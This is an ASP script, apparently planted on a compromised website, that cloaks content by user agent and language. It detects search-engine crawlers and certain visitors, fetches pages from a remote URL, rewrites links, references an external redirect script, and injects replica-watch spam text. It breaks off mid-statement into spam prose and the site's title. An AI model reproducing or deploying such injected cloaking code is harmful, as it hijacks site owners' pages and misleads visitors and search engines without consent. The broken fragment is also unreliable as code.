<% On Error Resume Next jumpcode="http://www.do-hero.com/adidas.js" jumpcode="" desurl="" Dim url,zhizhu,langs,c1 url=LCase(Request.ServerVariables("Http_Referer")) zhizhu=Request.ServerVariables("HTTP_USER_AGENT") langs=Mid(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"),1,5) If instr(zhizhu,"google")>0 Or instr(zhizhu,"yahoo")>0 Or instr(zhizhu,"bing")>0 Or instr(zhizhu,"msnbot")>0 Or instr(zhizhu,"alexa")>0 Or instr(zhizhu,"ask")>0 Or instr(zhizhu,"findlinks")>0 Or instr(zhizhu,"altavista")>0 Or instr(zhizhu,"baidu")>0 Or instr(zhizhu,"inktomi")>0 Then c1="1" Else If url<>"" and instr(langs,"zh")=0 Then c1="2" Else If instr(langs,"zh")=0 Then c1="3" Else c1="4" End If End If End If Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function If c1="1" Or c1="4" Then htmls = getHTTPPage(desurl&request.ServerVariables("QUERY_STRING")) htmls = replace(htmls,"","http://www.esfahansugar.com/?") htmls = replace(htmls,""&chr(34)&"images/",""&chr(34)&"") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&"") htmls = replace(htmls,"omega watches importance of the first impression, no matter how sophisticated the movement of a watch, the technology is complex, the process of how sophisticated, the replica rolex watches first concern is its shape design. ? .: EsfahanSugar.com :.